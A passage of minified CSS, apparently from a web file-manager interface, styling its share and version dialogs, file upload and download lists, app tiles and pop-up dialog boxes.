endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons 